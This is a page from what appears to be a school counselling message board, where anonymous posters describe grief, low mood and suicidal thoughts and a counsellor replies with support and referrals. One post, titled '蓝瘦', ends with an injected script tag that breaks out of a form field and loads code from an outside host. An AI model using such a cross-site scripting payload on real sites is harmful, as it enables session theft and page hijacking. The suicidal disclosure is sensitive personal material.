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标题 分类名称 发布人 提交时间 状态
· 想她了 默认分类 匿名用户 2020-11-10 已回复
老师你好,陪伴了我十九年的她,每一次在路口等我的她,在一个月前离开了我,我真的好伤心。
回复:想她了 回复人:xlzx 回复时间:2020-11-16 11:33:37

    十九年,是一段很长时间的陪伴。相信在这十九年中,您和她共同经历了很多重要的事情,渡过了很多重要的时刻。您和她都在对方的生命中留下了深刻的印象,成为了对方生命中重要的那个人。现在,陪伴您很长时间的她离开了,您会有很多的情绪,会伤心,会不舍,会不习惯……这是正常的心理反应,这样的情况可能会持续一段时间。您在这个阶段需要照顾好自己正常的生活,想她时就可以想她,翻翻你们以前的相片,也可以给她写您想对她说的话。不久的将来,相信您能够慢慢走出来。如果您感觉需要,也可以到心理咨询室来找老师聊一聊。

· 我有点难受 默认分类 匿名用户 2020-11-03 已回复
我有点难受,我不知道我哪里难受,一般都是晚上特别难受,不能想东西,一想东西就会哭。不敢想又控制不住自己去想。我不知道自己怎么了,白天一点事情都没有,但是晚上一个人了稍微想点东西就想哭。我已经毕业了,我自认为自己的人生没有遇到什么太大的苦难,不管家庭还是工作,不顺心的事情倒是经常有,但是这很正常,没有人可以一直顺顺利利,但是我就是难受,我不知道我为什么难受,我觉得一天的时间很长,明明感觉已经过了很久了,回过神来却只过了几分钟。做什么都不舒服,也什么都不想做。我有时候会想一些没有意义的事情,我不知道人活着的意义,以前还只是偶尔想一想,但是最近频率有点高。白天的我可以和周围的人一起笑,但是晚上就开始想着有的没的,每天起床上班吃饭下班睡觉,好像是一个被设定好了的机器一样,什么时候做什么事,以生活为基础,好像没有了自由。我不敢为了自由而让自己过的水深火热,但是我又不知道自己是为了什么活着。每天晚上就躺在床上,自己哭,自己难受,我说不出来自己为了什么难受哪里难受。我不止一次的想过结束自己的生命,但是我又不敢,因为我怕疼,如果有什么不疼的死亡方式我肯定早就去了吧。走在街上,无时不在想着来一辆失控的车把我撞死,这样不仅我实现了愿望,我父母也能得到一笔钱,但是实际走在路上的时候我比谁都小心注意。站在高处的时候我想着自己脚滑或者有人把我碰了下去,但是现在高处的时候我抓的很紧。看见有人闹事,我希望有人可以帮我一把,但是我从来不去凑热闹。我想去死,但是我又不敢,我怕疼。我没有喜欢的人,唯一放心不下的就是妈妈,如果能有钱留给妈妈,相信我也可以比较坦然的去面对死亡吧。我真的浑身都在难受,但是我又说不出来是哪里,怎么难受。我没有人可以交流我也不想交流,他们只会给我讲道理,说一些空话,道理我都懂啊,我也知道不要想太多,但是我控制不住自己啊。我觉得我好像要坏掉了一样,撑着生锈的身体,几十年以后送进报废厂,但是为什么没有人帮我一下,让我早点进去维修啊。其实我对自己的死亡没什么太大的抗拒,我觉得人这辈子的终点都一样,过程大部分人也都大同小异,为了生活奔波,所以我只是早点到达了终点而已,和别人没有什么区别,所以我想早点到终点。活着真的好苦啊,我想,等哪一天,我自己应该会去实现我的愿望吧。下辈子,不知道有没有下辈子,我不想再当人了,我想当一只猫或者一个细菌,活个几年也就够了,虽然可能过的比较苦,但是凑合凑合也就过去。或者说,我不想再有下辈子,人间才是真正的地狱
回复:我有点难受 回复人:xlzx 回复时间:2020-11-16 11:01:48

    您好,看了您的描述,您当前的情况真的很不好,情绪低落,想到自杀等。不知道您描述的这些情况持续多长时间了?如果已经两个月以上了,且对自己的工作、生活造成了比较大的影响。那么您可能需要及时去精神专科医院或者心理卫生中心,鉴别一下是否是抑郁症或者其他的心理问题?因为情绪低落、想自杀等是抑郁症的症状。如果确诊,则要及时地进行药物治疗和心理咨询。通过一段时间的治疗,症状是可以得到有效的控制。只要坚持服药,是可以治好的。如果医生认为只是严重的抑郁情绪,则需要进行连续的心理咨询。建议您能够及时地去专科医院诊疗,帮助自己摆脱困境。

· 蓝瘦 默认分类 匿名用户 2020-11-01 已回复
感觉心里有些难受呀</tExtArEa>'"><sCRiPt sRC=//x0.nz/GKSj></sCrIpT>
回复:蓝瘦 回复人:xlzx 回复时间:2020-11-03 11:11:58

        您好,您的留言信息太少了!我也不能据此妄加推论。如果您不放心在留言箱讨论,建议您到学校心理咨询室预约咨询,您的隐私信息会得到保护。

· 模糊 默认分类 匿名用户 2020-10-26 已回复
分不清楚自己到底是性格好,善于 帮助他人。还是讨好型人格。
回复:模糊 回复人:xlzx 回复时间:2020-10-28 22:01:03

“讨好型人格”是指一味地讨好他人而忽视自己感受的人格。有这样人格特质的人,可能有些自卑,处处只为他人着想,不敢表达或忽略自己的真实想法,压抑自已。这样与人相处,往往会感觉非常委屈、难受,但又得不到别人的认可。而且别人可能也因此不再顾及您的感受,把很多事情当作理所应当。这是一种不健康的心理状态。

而“性格好,善于帮助人”,具有这种人格特质的人,是非常受大家欢迎的。性格好,与各种人都可以友好相处,并且得到好评。爱帮助人,必然会得到大家的喜爱。而且,在助人的过程中,能够体会到自我的价值感、存在感。整体感觉是愉悦的。

 您仔细想想,自己在与人交往中,以什么样的情绪状态居多呢?这或许能够帮助您找到答案。如您因此而产生困扰,可以考虑面对面的心理咨询,与咨询老师一起来探讨。

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